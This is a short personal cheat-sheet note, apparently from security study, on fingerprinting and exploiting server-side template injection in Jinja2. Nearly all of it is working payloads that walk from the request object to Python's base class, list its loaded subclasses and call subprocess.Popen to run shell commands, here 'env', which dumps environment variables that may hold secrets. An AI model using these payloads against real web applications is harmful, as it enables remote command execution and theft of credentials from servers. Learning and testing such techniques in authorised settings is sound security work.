- Flowchart to fingerprint underlying templating engine through successive payloads
![[Pasted image 20230906000448.png|center]]

- Jinja2
	- Get information about Python environment
		- `{{request.environ}}`
	- Regress to base `object` class
		- `{{request.__class__.__base__.__base__}}`
	- List all loaded top classes
		1. `{{request.__class__.__base__.__base__.__subclasses__()}}`
		2. Note interesting top classes, such as `os.system` and `subprocess.Popen`
		3. Determine their count for the following
	- Call `subprocess.Popen` to execute commands ("env" in this case)
		- `{{request.__class__.__base__.__base__.__subclasses__()[282]("env",shell=True,stdout=-1).communicate()[0]}}`